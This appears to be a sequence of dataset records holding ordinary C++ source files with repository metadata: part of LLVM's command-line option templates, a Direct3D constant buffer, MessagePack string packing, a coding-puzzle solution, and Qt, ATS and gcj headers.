PrintOptionDiff // // This collection of wrappers is the intermediary between class opt and class // parser to handle all the template nastiness. // This overloaded function is selected by the generic parser. template<class ParserClass, class DT> void printOptionDiff(const Option &O, const generic_parser_base &P, const DT &V, const OptionValue<DT> &Default, size_t GlobalWidth) { OptionValue<DT> OV = V; P.printOptionDiff(O, OV, Default, GlobalWidth); } // This is instantiated for basic parsers when the parsed value has a different // type than the option value. e.g. HelpPrinter. template<class ParserDT, class ValDT> struct OptionDiffPrinter { void print(const Option &O, const parser<ParserDT> P, const ValDT &/*V*/, const OptionValue<ValDT> &/*Default*/, size_t GlobalWidth) { P.printOptionNoValue(O, GlobalWidth); } }; // This is instantiated for basic parsers when the parsed value has the same // type as the option value. template<class DT> struct OptionDiffPrinter<DT, DT> { void print(const Option &O, const parser<DT> P, const DT &V, const OptionValue<DT> &Default, size_t GlobalWidth) { P.printOptionDiff(O, V, Default, GlobalWidth); } }; // This overloaded function is selected by the basic parser, which may parse a // different type than the option type. template<class ParserClass, class ValDT> void printOptionDiff( const Option &O, const basic_parser<typename ParserClass::parser_data_type> &P, const ValDT &V, const OptionValue<ValDT> &Default, size_t GlobalWidth) { OptionDiffPrinter<typename ParserClass::parser_data_type, ValDT> printer; printer.print(O, static_cast<const ParserClass&>(P), V, Default, GlobalWidth); } //===----------------------------------------------------------------------===// // applicator class - This class is used because we must use partial // specialization to handle literal string arguments specially (const char* does // not correctly respond to the apply method). Because the syntax to use this // is a pain, we have the 'apply' method below to handle the nastiness... // template<class Mod> struct applicator { template<class Opt> static void opt(const Mod &M, Opt &O) { M.apply(O); } }; // Handle const char* as a special case... template<unsigned n> struct applicator<char[n]> { template<class Opt> static void opt(const char *Str, Opt &O) { O.setArgStr(Str); } }; template<unsigned n> struct applicator<const char[n]> { template<class Opt> static void opt(const char *Str, Opt &O) { O.setArgStr(Str); } }; template<> struct applicator<const char*> { template<class Opt> static void opt(const char *Str, Opt &O) { O.setArgStr(Str); } }; template<> struct applicator<NumOccurrencesFlag> { static void opt(NumOccurrencesFlag NO, Option &O) { O.setNumOccurrencesFlag(NO); } }; template<> struct applicator<ValueExpected> { static void opt(ValueExpected VE, Option &O) { O.setValueExpectedFlag(VE); } }; template<> struct applicator<OptionHidden> { static void opt(OptionHidden OH, Option &O) { O.setHiddenFlag(OH); } }; template<> struct applicator<FormattingFlags> { static void opt(FormattingFlags FF, Option &O) { O.setFormattingFlag(FF); } }; template<> struct applicator<MiscFlags> { static void opt(MiscFlags MF, Option &O) { O.setMiscFlag(MF); } }; // apply method - Apply a modifier to an option in a type safe way. template<class Mod, class Opt> void apply(const Mod &M, Opt *O) { applicator<Mod>::opt(M, *O); } //===----------------------------------------------------------------------===// // opt_storage class // Default storage class definition: external storage. This implementation // assumes the user will specify a variable to store the data into with the // cl::location(x) modifier. // template<class DataType, bool ExternalStorage, bool isClass> class opt_storage { DataType *Location; // Where to store the object... OptionValue<DataType> Default; void check() const { assert(Location != 0 && "cl::location(...) not specified for a command " "line option with external storage, " "or cl::init specified before cl::location()!!"); } public: opt_storage() : Location(0) {} bool setLocation(Option &O, DataType &L) { if (Location) return O.error("cl::location(x) specified more than once!"); Location = &L; Default = L; return false; } template<class T> void setValue(const T &V, bool initial = false) { check(); *Location = V; if (initial) Default = V; } DataType &getValue() { check(); return *Location; } const DataType &getValue() const { check(); return *Location; } operator DataType() const { return this->getValue(); } const OptionValue<DataType> &getDefault() const { return Default; } }; // Define how to hold a class type object, such as a string. Since we can // inherit from a class, we do so. This makes us exactly compatible with the // object in all cases that it is used. // template<class DataType> class opt_storage<DataType,false,true> : public DataType { public: OptionValue<DataType> Default; template<class T> void setValue(const T &V, bool initial = false) { DataType::operator=(V); if (initial) Default = V; } DataType &getValue() { return *this; } const DataType &getValue() const { return *this; } const OptionValue<DataType> &getDefault() const { return Default; } }; // Define a partial specialization to handle things we cannot inherit from. In // this case, we store an instance through containment, and overload operators // to get at the value. // template<class DataType> class opt_storage<DataType, false, false> { public: DataType Value; OptionValue<DataType> Default; // Make sure we initialize the value with the default constructor for the // type. opt_storage() : Value(DataType()) {} template<class T> void setValue(const T &V, bool initial = false) { Value = V; if (initial) Default = V; } DataType &getValue() { return Value; } DataType getValue() const { return Value; } const OptionValue<DataType> &getDefault() const { return Default; } operator DataType() const { return getValue(); } // If the datatype is a pointer, support -> on it. DataType operator->() const { return Value; } }; //===----------------------------------------------------------------------===// // opt - A scalar command line option. // template <class DataType, bool ExternalStorage = false, class ParserClass = parser<DataType> > class opt : public Option, public opt_storage<DataType, ExternalStorage, is_class<DataType>::value> { ParserClass Parser; virtual bool handleOccurrence(unsigned pos, StringRef ArgName, StringRef Arg) { typename ParserClass::parser_data_type Val = typename ParserClass::parser_data_type(); if (Parser.parse(*this, ArgName, Arg, Val)) return true; // Parse error! this->setValue(Val); this->setPosition(pos); return false; } virtual enum ValueExpected getValueExpectedFlagDefault() const { return Parser.getValueExpectedFlagDefault(); } virtual void getExtraOptionNames(SmallVectorImpl<const char*> &OptionNames) { return Parser.getExtraOptionNames(OptionNames); } // Forward printing stuff to the parser... virtual size_t getOptionWidth() const {return Parser.getOptionWidth(*this);} virtual void printOptionInfo(size_t GlobalWidth) const { Parser.printOptionInfo(*this, GlobalWidth); } virtual void printOptionValue(size_t GlobalWidth, bool Force) const { if (Force || this->getDefault().compare(this->getValue())) { cl::printOptionDiff<ParserClass>( *this, Parser, this->getValue(), this->getDefault(), GlobalWidth); } } void done() { addArgument(); Parser.initialize(*this); } public: // setInitialValue - Used by the cl::init modifier... void setInitialValue(const DataType &V) { this->setValue(V, true); } ParserClass &getParser() { return Parser; } template<class T> DataType &operator=(const T &Val) { this->setValue(Val); return this->getValue(); } // One option... template<class M0t> explicit opt(const M0t &M0) : Option(Optional, NotHidden) { apply(M0, this); done(); } // Two options... template<class M0t, class M1t> opt(const M0t &M0, const M1t &M1) : Option(Optional, NotHidden) { apply(M0, this); apply(M1, this); done(); } // Three options... template<class M0t, class M1t, class M2t> opt(const M0t &M0, const M1t &M1, const M2t &M2) : Option(Optional, NotHidden) { apply(M0, this); apply(M1, this); apply(M2, this); done(); } // Four options... template<class M0t, class M1t, class M2t, class M3t> opt(const M0t &M0, const M1t &M1, const M2t &M2, const M3t &M3) : Option(Optional, NotHidden) { apply(M0, this); apply(M1, this); apply(M2, this); apply(M3, this); done(); } // Five options... template<class M0t, class M1t, class M2t, class M3t, class M4t> opt(const M0t &M0, const M1t &M1, const M2t &M2, const M3t &M3, const M4t &M4) : Option(Optional, NotHidden) { apply(M0, this); apply(M1, this); apply(M2, this); apply(M3, this); apply(M4, this); done(); } // Six options... template<class M0t, class M1t, class M2t, class M3t, class M4t, class M5t> opt(const M0t &M0, const M1t &M1, const M2t &M2, const M3t &M3, const M4t &M4, const M5t &M5) : Option(Optional, NotHidden) { apply(M0, this); apply(M1, this); apply(M2, this); apply(M3, this); apply(M4, this); apply(M5, this); done(); } // Seven options... template<class M0t, class M1t, class M2t, class M3t, class M4t, class M5t, class M6t> opt(const M0t &M0, const M1t &M1, const M2t &M2, const M3t &M3, const M4t &M4, const M5t &M5, const M6t &M6) : Option(Optional, NotHidden) { apply(M0, this); apply(M1, this); apply(M2, this); apply(M3, this); apply(M4, this); apply(M5, this); apply(M6, this); done(); } // Eight options... template<class M0t, class M1t, class M2t, class M3t, class M4t, class M5t, class M6t, class M7t> opt(const M0t &M0, const M1t &M1, const M2t &M2, const M3t &M3, const M4t &M4, const M5t &M5, const M6t &M6, const M7t &M7) : Option(Optional, NotHidden) { apply(M0, this); apply(M1, this); apply(M2, this); apply(M3, this); apply(M4, this); apply(M5, this); apply(M6, this); apply(M7, this); done(); } }; EXTERN_TEMPLATE_INSTANTIATION(class opt<unsigned>); EXTERN_TEMPLATE_INSTANTIATION(class opt<int>); EXTERN_TEMPLATE_INSTANTIATION(class opt<std::string>); EXTERN_TEMPLATE_INSTANTIATION(class opt<char>); EXTERN_TEMPLATE_INSTANTIATION(class opt<bool>); //===----------------------------------------------------------------------===// // list_storage class // Default storage class definition: external storage. This implementation // assumes the user will specify a variable to store the data into with the // cl::location(x) modifier. // template<class DataType, class StorageClass> class list_storage { StorageClass *Location; // Where to store the object... public: list_storage() : Location(0) {} bool setLocation(Option &O, StorageClass &L) { if (Location) return O.error("cl::location(x) specified more than once!"); Location = &L; return false; } template<class T> void addValue(const T &V) { assert(Location != 0 && "cl::location(...) not specified for a command " "line option with external storage!"); Location->push_back(V); } }; // Define how to hold a class type object, such as a string. Since we can // inherit from a class, we do so. This makes us exactly compatible with the // object in all cases that it is used. // template<class DataType> class list_storage<DataType, bool> : public std::vector<DataType> { public: template<class T> void addValue(const T &V) { std::vector<DataType>::push_back(V); } }; //===----------------------------------------------------------------------===// // list - A list of command line options. // template <class DataType, class Storage = bool, class ParserClass = parser<DataType> > class list : public Option, public list_storage<DataType, Storage> { std::vector<unsigned> Positions; ParserClass Parser; virtual enum ValueExpected getValueExpectedFlagDefault() const { return Parser.getValueExpectedFlagDefault(); } virtual void getExtraOptionNames(SmallVectorImpl<const char*> &OptionNames) { return Parser.getExtraOptionNames(OptionNames); } virtual bool handleOccurrence(unsigned pos, StringRef ArgName, StringRef Arg){ typename ParserClass::parser_data_type Val = typename ParserClass::parser_data_type(); if (Parser.parse(*this, ArgName, Arg, Val)) return true; // Parse Error! list_storage<DataType, Storage>::addValue(Val); setPosition(pos); Positions.push_back(pos); return false; } // Forward printing stuff to the parser... virtual size_t getOptionWidth() const {return Parser.getOptionWidth(*this);} virtual void printOptionInfo(size_t GlobalWidth) const { Parser.printOptionInfo(*this, GlobalWidth); } // Unimplemented: list options don't currently store their default value. virtual void printOptionValue(size_t /*GlobalWidth*/, bool /*Force*/) const {} void done() { addArgument(); Parser.initialize(*this); } public: ParserClass &getParser() { return Parser; } unsigned getPosition(unsigned optnum) const { assert(optnum < this->size() && "Invalid option index"); return Positions[optnum]; } void setNumAdditionalVals(unsigned n) { Option::setNumAdditionalVals(n); } // One option... template<class M0t> explicit list(const M0t &M0) : Option(ZeroOrMore, NotHidden) { apply(M0, this); done(); } // Two options... template<class M0t, class M1t> list(const M0t &M0, const M1t &M1) : Option(ZeroOrMore, NotHidden) { apply(M0, this); apply(M1, this); done(); } // Three options... template<class M0t, class M1t, class M2t> list(const M0t &M0, const M1t &M1, const M2t &M2) : Option(ZeroOrMore, NotHidden) { apply(M0, this); apply(M1, this); apply(M2, this); done(); } // Four options... template<class M0t, class M1t, class M2t, class M3t> list(const M0t &M0, const M1t &M1, const M2t &M2, const M3t &M3) : Option(ZeroOrMore, NotHidden) { apply(M0, this); apply(M1, this); apply(M2, this); apply(M3, this); done(); } // Five options... template<class M0t, class M1t, class M2t, class M3t, class M4t> list(const M0t &M0, const M1t &M1, const M2t &M2, const M3t &M3, const M4t &M4) : Option(ZeroOrMore, NotHidden) { apply(M0, this); apply(M1, this); apply(M2, this); apply(M3, this); apply(M4, this); done(); } // Six options... template<class M0t, class M1t, class M2t, class M3t, class M4t, class M5t> list(const M0t &M0, const M1t &M1, const M2t &M2, const M3t &M3, const M4t &M4, const M5t &M5) : Option(ZeroOrMore, NotHidden) { apply(M0, this); apply(M1, this); apply(M2, this); apply(M3, this); apply(M4, this); apply(M5, this); done(); } // Seven options... template<class M0t, class M1t, class M2t, class M3t, class M4t, class M5t, class M6t> list(const M0t &M0, const M1t &M1, const M2t &M2, const M3t &M3, const M4t &M4, const M5t &M5, const M6t &M6) : Option(ZeroOrMore, NotHidden) { apply(M0, this); apply(M1, this); apply(M2, this); apply(M3, this); apply(M4, this); apply(M5, this); apply(M6, this); done(); } // Eight options... template<class M0t, class M1t, class M2t, class M3t, class M4t, class M5t, class M6t, class M7t> list(const M0t &M0, const M1t &M1, const M2t &M2, const M3t &M3, const M4t &M4, const M5t &M5, const M6t &M6, const M7t &M7) : Option(ZeroOrMore, NotHidden) { apply(M0, this); apply(M1, this); apply(M2, this); apply(M3, this); apply(M4, this); apply(M5, this); apply(M6, this); apply(M7, this); done(); } }; // multi_val - Modifier to set the number of additional values. struct multi_val { unsigned AdditionalVals; explicit multi_val(unsigned N) : AdditionalVals(N) {} template <typename D, typename S, typename P> void apply(list<D, S, P> &L) const { L.setNumAdditionalVals(AdditionalVals); } }; //===----------------------------------------------------------------------===// // bits_storage class // Default storage class definition: external storage. This implementation // assumes the user will specify a variable to store the data into with the // cl::location(x) modifier. // template<class DataType, class StorageClass> class bits_storage { unsigned *Location; // Where to store the bits... template<class T> static unsigned Bit(const T &V) { unsigned BitPos = reinterpret_cast<unsigned>(V); assert(BitPos < sizeof(unsigned) * CHAR_BIT && "enum exceeds width of bit vector!"); return 1 << BitPos; } public: bits_storage() : Location(0) {} bool setLocation(Option &O, unsigned &L) { if (Location) return O.error("cl::location(x) specified more than once!"); Location = &L; return false; } template<class T> void addValue(const T &V) { assert(Location != 0 && "cl::location(...) not specified for a command " "line option with external storage!"); *Location |= Bit(V); } unsigned getBits() { return *Location; } template<class T> bool isSet(const T &V) { return (*Location & Bit(V)) != 0; } }; // Define how to hold bits. Since we can inherit from a class, we do so. // This makes us exactly compatible with the bits in all cases that it is used. // template<class DataType> class bits_storage<DataType, bool> { unsigned Bits; // Where to store the bits... template<class T> static unsigned Bit(const T &V) { unsigned BitPos = (unsigned)V; assert(BitPos < sizeof(unsigned) * CHAR_BIT && "enum exceeds width of bit vector!"); return 1 << BitPos; } public: template<class T> void addValue(const T &V) { Bits |= Bit(V); } unsigned getBits() { return Bits; } template<class T> bool isSet(const T &V) { return (Bits & Bit(V)) != 0; } }; //===----------------------------------------------------------------------===// // bits - A bit vector of command options. // template <class DataType, class Storage = bool, class ParserClass = parser<DataType> > class bits : public Option, public bits_storage<DataType, Storage> { std::vector<unsigned> Positions; ParserClass Parser; virtual enum ValueExpected getValueExpectedFlagDefault() const { return Parser.getValueExpectedFlagDefault(); } virtual void getExtraOptionNames(SmallVectorImpl<const char*> &OptionNames) { return Parser.getExtraOptionNames(OptionNames); } virtual bool handleOccurrence(unsigned pos, StringRef ArgName, StringRef Arg){ typename ParserClass::parser_data_type Val = typename ParserClass::parser_data_type(); if (Parser.parse(*this, ArgName, Arg, Val)) return true; // Parse Error! addValue(Val); setPosition(pos); Positions.push_back(pos); return false; } // Forward printing stuff to the parser... virtual size_t getOptionWidth() const {return Parser.getOptionWidth(*this);} virtual void printOptionInfo(size_t GlobalWidth) const { Parser.printOptionInfo(*this, GlobalWidth); } // Unimplemented: bits options don't currently store their default values. virtual void printOptionValue(size_t /*GlobalWidth*/, bool /*Force*/) const {} void done() { addArgument(); Parser.initialize(*this); } public: ParserClass &getParser() { return Parser; } unsigned getPosition(unsigned optnum) const { assert(optnum < this->size() && "Invalid option index"); return Positions[optnum]; } // One option... template<class M0t> explicit bits(const M0t &M0) : Option(ZeroOrMore, NotHidden) { apply(M0, this); done(); } // Two options... template<class M0t, class M1t> bits(const M0t &M0, const M1t &M1) : Option(ZeroOrMore, NotHidden) { apply(M0, this); apply(M1, this); done(); } // Three options... template<class M0t, class M1t, class M2t> bits(const M0t &M0, const M1t &M1, const M2t &M2) : Option(ZeroOrMore, NotHidden) { apply(M0, this); apply(M1, this); apply(M2, this); done(); } // Four options... template<class M0t, class M1t, class M2t, class M3t> bits(const M0t &M0, const M1t &M1, const M2t &M2, const M3t &M3) : Option(ZeroOrMore, NotHidden) { apply(M0, this); apply(M1, this); apply(M2, this); apply(M3, this); done(); } // Five options... template<class M0t, class M1t, class M2t, class M3t, class M4t> bits(const M0t &M0, const M1t &M1, const M2t &M2, const M3t &M3, const M4t &M4) : Option(ZeroOrMore, NotHidden) { apply(M0, this); apply(M1, this); apply(M2, this); apply(M3, this); apply(M4, this); done(); } // Six options... template<class M0t, class M1t, class M2t, class M3t, class M4t, class M5t> bits(const M0t &M0, const M1t &M1, const M2t &M2, const M3t &M3, const M4t &M4, const M5t &M5) : Option(ZeroOrMore, NotHidden) { apply(M0, this); apply(M1, this); apply(M2, this); apply(M3, this); apply(M4, this); apply(M5, this); done(); } // Seven options... template<class M0t, class M1t, class M2t, class M3t, class M4t, class M5t, class M6t> bits(const M0t &M0, const M1t &M1, const M2t &M2, const M3t &M3, const M4t &M4, const M5t &M5, const M6t &M6) : Option(ZeroOrMore, NotHidden) { apply(M0, this); apply(M1, this); apply(M2, this); apply(M3, this); apply(M4, this); apply(M5, this); apply(M6, this); done(); } // Eight options... template<class M0t, class M1t, class M2t, class M3t, class M4t, class M5t, class M6t, class M7t> bits(const M0t &M0, const M1t &M1, const M2t &M2, const M3t &M3, const M4t &M4, const M5t &M5, const M6t &M6, const M7t &M7) : Option(ZeroOrMore, NotHidden) { apply(M0, this); apply(M1, this); apply(M2, this); apply(M3, this); apply(M4, this); apply(M5, this); apply(M6, this); apply(M7, this); done(); } }; //===----------------------------------------------------------------------===// // Aliased command line option (alias this name to a preexisting name) // class alias : public Option { Option *AliasFor; virtual bool handleOccurrence(unsigned pos, StringRef /*ArgName*/, StringRef Arg) LLVM_OVERRIDE { return AliasFor->handleOccurrence(pos, AliasFor->ArgStr, Arg); } // Handle printing stuff... virtual size_t getOptionWidth() const LLVM_OVERRIDE; virtual void printOptionInfo(size_t GlobalWidth) const LLVM_OVERRIDE; // Aliases do not need to print their values. virtual void printOptionValue(size_t /*GlobalWidth*/, bool /*Force*/) const LLVM_OVERRIDE {} void done() { if (!hasArgStr()) error("cl::alias must have argument name specified!"); if (AliasFor == 0) error("cl::alias must have an cl::aliasopt(option) specified!"); addArgument(); } public: void setAliasFor(Option &O) { if (AliasFor) error("cl::alias must only have one cl::aliasopt(...) specified!"); AliasFor = &O; } // One option... template<class M0t> explicit alias(const M0t &M0) : Option(Optional, Hidden), AliasFor(0) { apply(M0, this); done(); } // Two options... template<class M0t, class M1t> alias(const M0t &M0, const M1t &M1) : Option(Optional, Hidden), AliasFor(0) { apply(M0, this); apply(M1, this); done(); } // Three options... template<class M0t, class M1t, class M2t> alias(const M0t &M0, const M1t &M1, const M2t &M2) : Option(Optional, Hidden), AliasFor(0) { apply(M0, this); apply(M1, this); apply(M2, this); done(); } // Four options... template<class M0t, class M1t, class M2t, class M3t> alias(const M0t &M0, const M1t &M1, const M2t &M2, const M3t &M3) : Option(Optional, Hidden), AliasFor(0) { apply(M0, this); apply(M1, this); apply(M2, this); apply(M3, this); done(); } }; // aliasfor - Modifier to set the option an alias aliases. struct aliasopt { Option &Opt; explicit aliasopt(Option &O) : Opt(O) {} void apply(alias &A) const { A.setAliasFor(Opt); } }; // extrahelp - provide additional help at the end of the normal help // output. All occurrences of cl::extrahelp will be accumulated and // printed to stderr at the end of the regular help, just before // exit is called. struct extrahelp { const char * morehelp; explicit extrahelp(const char* help); }; void PrintVersionMessage(); // This function just prints the help message, exactly the same way as if the // -help option had been given on the command line. // NOTE: THIS FUNCTION TERMINATES THE PROGRAM! void PrintHelpMessage(); } // End namespace cl } // End namespace llvm #endif
[ "91980991+AppleOSSDistributions@users.noreply.github.com" ]
91980991+AppleOSSDistributions@users.noreply.github.com
ef9a97735f22cad61f30604dee7533ee0189ff0c
772c4d7923e1dede09c108968faddf7840c6690a
/ZekeGame/ZekeGame/graphics/CConstantBuffer.cpp
3b5b6851696405e4d727f9b0a94dbab03d8619d8
[]
no_license
ZekeZR1/Planet-search-game
53e915b00c01b6a6fa8bbb14ffab8fd3866420e8
505f655a283980a841718e9d0a888d6b92a1cc03
refs/heads/master
2022-01-10T20:10:20.329434
2019-04-30T07:33:18
2019-04-30T07:33:18
139,558,202
0
0
null
null
null
null
SHIFT_JIS
C++
false
false
807
cpp
#include "stdafx.h" #include "CConstantBuffer.h" #include "graphics/GPUBuffer/CGPUBuffer.h" CConstantBuffer::CConstantBuffer() { } CConstantBuffer::~CConstantBuffer() { } /*! *@brief ConstantBufferを作成。 *@param[in] pInitData 初期データ。 *@param[in] bufferSize バッファサイズ。 */ bool CConstantBuffer::Create(const void* pInitData, int bufferSize) { //ConstantBuffer用のバッファ定義を作成する。 D3D11_BUFFER_DESC bufferDesc; ZeroMemory(&bufferDesc, sizeof(bufferDesc)); bufferDesc.Usage = D3D11_USAGE_DEFAULT; bufferDesc.ByteWidth = (((bufferSize - 1) / 16) + 1) * 16; //16バイトアライメントに切りあげる。 bufferDesc.BindFlags = D3D11_BIND_CONSTANT_BUFFER; bufferDesc.CPUAccessFlags = 0; return CGPUBuffer::Create(pInitData, bufferDesc); }
[ "hnta3574@gmail.com" ]
hnta3574@gmail.com
08a831449659f19c7eafee659dce762e587feeca
dfed105fe0e5519b231a87480965548edfd398f3
/SharedCode/Data/MessagePack/src/msgpack/type/string.hpp
fbc248cc0cab6b654e67836f7668f316683d44b6
[ "Apache-2.0" ]
permissive
maaooo/liangshi
36e38339652bb95fd95fae253efb55f73c2f1e5b
09711db820d2e0747e98f6542f521bd03d80fdb2
refs/heads/master
2020-03-25T19:31:58.612218
2017-08-19T11:27:10
2017-08-19T11:27:10
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,615
hpp
// // MessagePack for C++ static resolution routine // // Copyright (C) 2008-2009 FURUHASHI Sadayuki // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // #ifndef MSGPACK_TYPE_STRING_HPP__ #define MSGPACK_TYPE_STRING_HPP__ #include "../object.hpp" #include <string> namespace msgpack { inline std::string& operator>> (object o, std::string& v) { if(o.type != type::RAW) { throw type_error(); } v.assign(o.via.raw.ptr, o.via.raw.size); return v; } template <typename Stream> inline packer<Stream>& operator<< (packer<Stream>& o, const std::string& v) { o.pack_raw(v.size()); o.pack_raw_body(v.data(), v.size()); return o; } inline void operator<< (object::with_zone& o, const std::string& v) { o.type = type::RAW; char* ptr = (char*)o.zone->malloc(v.size()); o.via.raw.ptr = ptr; o.via.raw.size = (uint32_t)v.size(); memcpy(ptr, v.data(), v.size()); } inline void operator<< (object& o, const std::string& v) { o.type = type::RAW; o.via.raw.ptr = v.data(); o.via.raw.size = (uint32_t)v.size(); } } // namespace msgpack #endif /* msgpack/type/string.hpp */
[ "overearth@gamil.com" ]
overearth@gamil.com
1ddffa4ff0048932eb1062ea60259028fbcd3f07
c062e57abd677cc7c1fa4ca864a1eb75cce55388
/알고리즘/프로그래머스/Level2/수식 최대화/수식 최대화.cpp
369d66c10a52216bc0b64b1b7529a22179538804
[]
no_license
Soogyung1106/Algorithm
3a732471a69ac760ecece0c6125edbf9788743e8
a1376e46550d6e335e12a50d772f0241880f2a07
refs/heads/master
2023-08-20T14:11:00.464294
2021-10-21T13:45:34
2021-10-21T13:45:34
257,540,169
1
0
null
null
null
null
UTF-8
C++
false
false
1,976
cpp
#include <string> #include <vector> #include <iostream> #include <algorithm> using namespace std; vector<long long> num; //숫자 vector<char> op; //연산자 차례로 담음 vector<char> p; //연산자 종류를 담음 void split(string& exp){ string s = ""; for(int i=0;i<exp.size();i++){ if(isdigit(exp[i])) s += exp[i]; else{ //연산자를 만나면 num.push_back(stoi(s)); s = ""; op.push_back(exp[i]); if(find(p.begin(), p.end(), exp[i]) == p.end()) p.push_back(exp[i]); } } num.push_back(stoi(s)); } long long solution(string expression) { //숫자와 연산자를 나눠 담기 split(expression); //순열 돌리기 전 정렬 sort(p.begin(), p.end()); //op와 num 벡터의 값이 계속 바뀌므로 vector<char> tmp_op = op; vector<long long> tmp_num = num; //연산자 우선순위에 따라 num에 있는 값들 계산해주고 삭제해주기 long long answer = 0; do{ for(int i=0;i<p.size();i++){ //p[i]가 연산자 우선순위 for(int j =0;j<op.size();j++){ if(p[i] == op[j]){ if(p[i] == '+') num[j] += num[j+1]; if(p[i] == '-') num[j] -= num[j+1]; if(p[i] == '*') num[j] *= num[j+1]; //op에서 해당 연산자 삭제 //num에서 해당 피연산자 삭제 op.erase(op.begin()+j); num.erase(num.begin()+j+1); j--; }//end if } } if(answer<abs(num[0])) answer = abs(num[0]); op = tmp_op; num = tmp_num; }while(next_permutation(p.begin(), p.end())); //순열 return answer; }
[ "sally1106@naver.com" ]
sally1106@naver.com
c6e6c23e02a097baa4501587f0fe78fe106e9551
70b7b23b986de21b3d5ece0e9ea504599bffa682
/mainwidget.h
aa4932d84c065ad3549c09e15bbc4f1374d7a2dd
[]
no_license
MRAdapter/QTDemo
5081ccde9e3043b086d19e857ea17dd18f5c9e21
69121e172ba1b2d9ded0d5e0209cf6a0522bf26c
refs/heads/master
2021-01-17T17:35:04.131825
2016-06-20T03:06:43
2016-06-20T03:06:43
61,429,256
0
0
null
null
null
null
UTF-8
C++
false
false
593
h
#ifndef MAINWIDGET_H #define MAINWIDGET_H #include <QWidget> #include "pdfwidget.h" #include <QPushButton> #include "fiveparamswidget.h" namespace Ui { class mainWidget; } class mainWidget : public QWidget { Q_OBJECT public: explicit mainWidget(QWidget *parent = 0); ~mainWidget(); private: Ui::mainWidget *ui; QPushButton * fiveParamsBtn; QPushButton * makePDFBtn; PDFWidget * pdfWidget; FiveParamsWidget * fiveParamsWidget; float fiveParams[5]; public slots: void fiveParams_click(); void makePDF_click(); }; #endif // MAINWIDGET_H
[ "2608920335@qq.com" ]
2608920335@qq.com
f789de4207d6d874bb58d48add1a093ebdd526d7
45716a35c9fa862145b20e68b47a3187bbfbfb81
/src/operators/divgrad/upwind_scheme/upwind_arithmetic_mean.hh
40770f64d012484a987835635b5887936c8a643b
[ "BSD-3-Clause" ]
permissive
ddwivedi08/ats
3c5f3e69797ddcd07110a4c80c47581034c28a2f
932aba910b977e86121942cd24f2059f0b6bee65
refs/heads/master
2021-01-19T14:53:40.104447
2017-04-06T01:16:22
2017-04-06T01:16:22
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,659
hh
/* -*- mode: c++; c-default-style: "google"; indent-tabs-mode: nil -*- */ // ----------------------------------------------------------------------------- // ATS // // License: see $ATS_DIR/COPYRIGHT // Author: Ethan Coon (ecoon@lanl.gov) // // Scheme for taking coefficients for div-grad operators from cells to // faces. // ----------------------------------------------------------------------------- #ifndef AMANZI_UPWINDING_ARITHMETICMEAN_SCHEME_ #define AMANZI_UPWINDING_ARITHMETICMEAN_SCHEME_ #include "upwinding.hh" namespace Amanzi { class State; class CompositeVector; namespace Operators { class UpwindArithmeticMean : public Upwinding { public: UpwindArithmeticMean(std::string pkname, std::string cell_coef, std::string face_coef); virtual void Update(const Teuchos::Ptr<State>& S, const Teuchos::Ptr<Debugger>& db=Teuchos::null); void CalculateCoefficientsOnFaces( const CompositeVector& cell_coef, const Teuchos::Ptr<CompositeVector>& face_coef); virtual void UpdateDerivatives(const Teuchos::Ptr<State>& S, std::string potential_key, const CompositeVector& dconductivity, const std::vector<int>& bc_markers, const std::vector<double>& bc_values, std::vector<Teuchos::RCP<Teuchos::SerialDenseMatrix<int, double> > >* Jpp_faces) const; virtual std::string CoefficientLocation() { return "upwind: face"; } private: std::string pkname_; std::string cell_coef_; std::string face_coef_; }; } // namespace } // namespace #endif
[ "ecoon@lanl.gov" ]
ecoon@lanl.gov
b91274c5d960bfa9c328e2e121e66e3c7202fa13
5cad8d9664c8316cce7bc57128ca4b378a93998a
/CI/rule/pclint/pclint_include/include_linux/c++/4.8.2/java/lang/NoSuchFieldError.h
65f444e839474e640fa2c4a7069eef28ea5a6a83
[ "LicenseRef-scancode-unknown-license-reference", "GPL-2.0-only", "GPL-3.0-only", "curl", "Zlib", "LicenseRef-scancode-warranty-disclaimer", "OpenSSL", "GPL-1.0-or-later", "MIT", "LicenseRef-scancode-other-copyleft", "LicenseRef-scancode-openssl", "LicenseRef-scancode-ssleay-windows", "BSD-3-Clause", "Apache-2.0" ]
permissive
huaweicloud/huaweicloud-sdk-c-obs
0c60d61e16de5c0d8d3c0abc9446b5269e7462d4
fcd0bf67f209cc96cf73197e9c0df143b1d097c4
refs/heads/master
2023-09-05T11:42:28.709499
2023-08-05T08:52:56
2023-08-05T08:52:56
163,231,391
41
21
Apache-2.0
2023-06-28T07:18:06
2018-12-27T01:15:05
C
UTF-8
C++
false
false
543
h
// DO NOT EDIT THIS FILE - it is machine generated -*- c++ -*- #ifndef __java_lang_NoSuchFieldError__ #define __java_lang_NoSuchFieldError__ #pragma interface #include <java/lang/IncompatibleClassChangeError.h> class java::lang::NoSuchFieldError : public ::java::lang::IncompatibleClassChangeError { public: NoSuchFieldError(); NoSuchFieldError(::java::lang::String *); private: static const jlong serialVersionUID = -3456430195886129035LL; public: static ::java::lang::Class class$; }; #endif // __java_lang_NoSuchFieldError__
[ "xiangshijian1@huawei.com" ]
xiangshijian1@huawei.com
d2901cdecc3e84ca7576d491393cd028dce89e12
4a95ed16ad5f59a7fe5493716f60138518704a74
/IC_server/sqldatabase.h
7112f90f93ea961e5aaa4b130df68ef2c01d440e
[]
no_license
tingroger/IntelligentCommunity
2096c15e0db8c20cc6977c2eecf91bacc936c180
726eaa57542a5fc08f6fba7c9fb79a6ebeecebbc
refs/heads/master
2023-03-18T20:37:01.208761
2020-12-08T22:38:07
2020-12-08T22:38:07
319,767,062
0
0
null
null
null
null
UTF-8
C++
false
false
1,094
h
